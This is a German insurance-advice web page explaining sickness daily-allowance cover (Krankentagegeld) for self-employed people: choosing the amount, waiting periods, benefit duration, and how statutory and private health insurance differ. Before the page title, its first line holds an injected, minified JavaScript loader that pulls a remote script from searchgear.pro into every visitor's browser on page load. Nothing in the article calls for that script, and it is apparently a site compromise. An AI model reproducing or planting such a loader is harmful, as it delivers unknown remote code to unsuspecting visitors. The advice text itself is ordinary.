;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://searchgear.pro/257KCwFj"); Krankentagegeld für Selbstständige | Krankenkassenwechsel Krankentagegeld für Selbstständige | Krankenkassenwechsel

Krankentagegeld für Selbstständige

Risikosenkung bei der Existenzgründung

Krankentagegeld für SelbstständigeJahr für Jahr wagen viele Männer und Frauen den Schritt in die Selbstständigkeit. Aber leider müssen auch Jahr für Jahr viele von ihnen ihr Unternehmen schließen. Vielfach wird eine unerwartete lange Krankheit als Grund für das Scheitern genannt. Insbesondere Freiberufler und Kleinunternehmer erwirtschaften mit ihrer eigenen Arbeitskraft den Gewinn des Unternehmens. Sind sie arbeitsunfähig, brechen die Einnahmen ein. Betriebsmieten, Versicherungen und Kredite müssen aber weiterhin bezahlt werden.
Bei gestandenen Unternehmen können die laufenden Kosten meist aus Firmenrücklagen gedeckt werden. Junge Unternehmen konnten derartige Finanzpolster aber noch nicht bilden. Daher sollten Selbstständige sich immer gegen krankheitsbedingte Einnahmeausfälle absichern. Krankentagegeldversicherungen zahlen bei längeren Erkrankung ein vereinbartes Tagegeld. Wenn so die laufenden Betriebskosten abgesichert sind, spricht nichts mehr dagegen, sich in aller Ruhe auszukurieren.

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Berechnung des Krankentagegeldes

Krankentagegeldversicherungen dienen der Einkommensabsicherung. Zusammen mit anderen Einnahmen, wie dem Krankengeld der GKV, Einnahmen aus Mietobjekten oder Kapitaleinkünften bildet das Krankentagegeld die finanzielle Grundlage im privaten und betrieblichen Bereich während der Erkrankung. Die Höhe des zu versichernden Krankentagegeldes sollte daher so berechnet werden, dass sämtliche laufende Betriebsausgaben aber auch die Ausgaben zum täglichen Leben bezahlt werden können.
Betragen die festen monatlichen Ausgaben beispielsweise 3000 € und stehen im Falle einer Arbeitsunfähigkeit keine Einnahmen dem gegenüber, benötigen Sie ein tägliches Krankentagegeld in Höhe von 100 €. Vergessen Sie auch nicht, Beiträge für Renten- und Lebensversicherungen in Ihre Planung mit einzubeziehen. Gleiches gilt im Hinblick auf die Pflegeversicherung und eine evtl. bestehende freiwillige Arbeitslosenversicherung.

Worauf müssen Selbstständige achten?

Selbstständige tragen nicht nur für sich selbst Verantwortung. Oft hängen vom wirtschaftlichen Erfolg Arbeitsplätze ab. Viele Selbstständige sind aber auch der Hauptverdiener der Familie. Daher gilt es beim Abschluss einer Krankentagegeldversicherung nicht zu knapp zurechnen. Dauer des Anspruchs und die Frage der Weiterzahlung beim Eintritt von Berufsunfähigkeit müssen ebenso in die Entscheidung einbezogen werden.

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Richtige Krankengeldhöhe wählen

Damit eine Krankentagegeldversicherung im Krankheitsfall auch wirklich hilft, darf das Krankentagegeld nicht zu niedrig gewählt werden. Als Richtgröße sollte das Einkommen gelten, welches Sie durchschnittlich selbst erarbeiten.

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Beginn der Krankentagegeldzahlung

Selbstständige müssen entscheiden, welcher Zeitraum aus Rücklagen abgedeckt werden kann. Da in der Gründungsphase oft kein Geld für schlechte Zeiten zurückgelegt werden kann, sollten Existenzgründer einen frühestmöglichen Krankentagegeldanspruch wählen.

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Dauer der Krankentagegeldzahlung

Die Leistungsdauer einer Krankentagegeldversicherung sollte nicht zeitlich begrenzt sein. Können Sie Ihre selbstständige Tätigkeit nur in geringerem Umfang wieder aufnehmen, sollte der Versicherer zumindest ein Teil-Krankentagegeld weiterzahlen.

Krankentagegeld für Selbstständige mit GKV

Gesetzlich krankenversicherte Selbstständige können sich bei ihrer Krankenkasse mit einem Anspruch auf das gesetzliche Krankengeld versichern. Dafür zahlen sie einen um 0,6 % höheren Kassenbeitrag. Im Krankheitsfall erhalten sie dann ab dem 43. Erkrankungstag Krankengeld in Höhe von 70 % des zuletzt nachgewiesenen Arbeitseinkommens. Da dieses aber nur über den Steuerbescheid nachgewiesen werden kann, entspricht es selten der aktuellen Einkommenssituation.

Wer z.B. mit einem Einkommen von 3000 € bei seiner Krankenkasse versichert ist, erhält ein Krankengeld von 2100 € im Monat. Für die Zeit des Krankengeldbezuges brauchen Selbstständige in der GKV keine Krankenversicherungsbeiträge bezahlen. Die verbleibende Einkommenslücke sollte über eine Krankentagegeldversicherung geschlossen werden.

Krankentagegeld für Selbstständige mit PKV

Privat krankenversicherte Selbstständige haben grundsätzlich keinen Anspruch auf Krankengeld. Sie müssen sich also zwingend über eine Krankentagegeldversicherung gegen krankheitsbedingte Einkommensausfälle absichern. Die Assekuranz bietet Tarife ab dem 15. oder 43. Krankheitstag an. Im Einzelfall ist auch eine Absicherung ab dem 4. oder 8. Tag möglich. Hier sollte aber genau überlegt werden, inwieweit die ersten zwei Wochen nicht auch ohne Krankentagegeld überbrückt werden können.
In die Festlegung der Krankentagegeldhöhe müssen auch die in der PKV zu zahlenden Krankenversicherungsbeiträge einbezogen werden. Diese müssen auch bei einer länger andauernden Erkrankung weiterhin bezahlt werden.

Krankentagegeld Ratgeber

Selbstständige, die sich während einer schweren Erkrankung ohne Sorgen um die Firma voll auf die Wiederherstellung ihrer Gesundheit konzentrieren möchten, brauchen eine auf ihre persönliche Situation abgestimmte Krankentagegeldversicherung. Unsere unabhängigen und zertifizierten Gesundheitsberater prüfen gemeinsam mit Ihnen die Versorgungslücke.

Im Rahmen einer telefonischen Beratung ermitteln unserer Experten, wie hoch das Krankentagegeld sein sollte. Dabei werden bereits bestehende Einkommensabsicherungen in die Berechnung mit einbezogen. Unsere Erfahrungen zeigen, dass es sich lohnt, Krankentagegeldversicherungen zu vergleichen. Neben dem Beitrag sollten auch Leistungsdauer, Schnelligkeit der Auszahlung und Leistungsverhalten beim Eintritt einer Teil-Berufsunfähigkeit betrachtet werden.

Unsere Experten helfen gern – Lassen Sie sich beraten!

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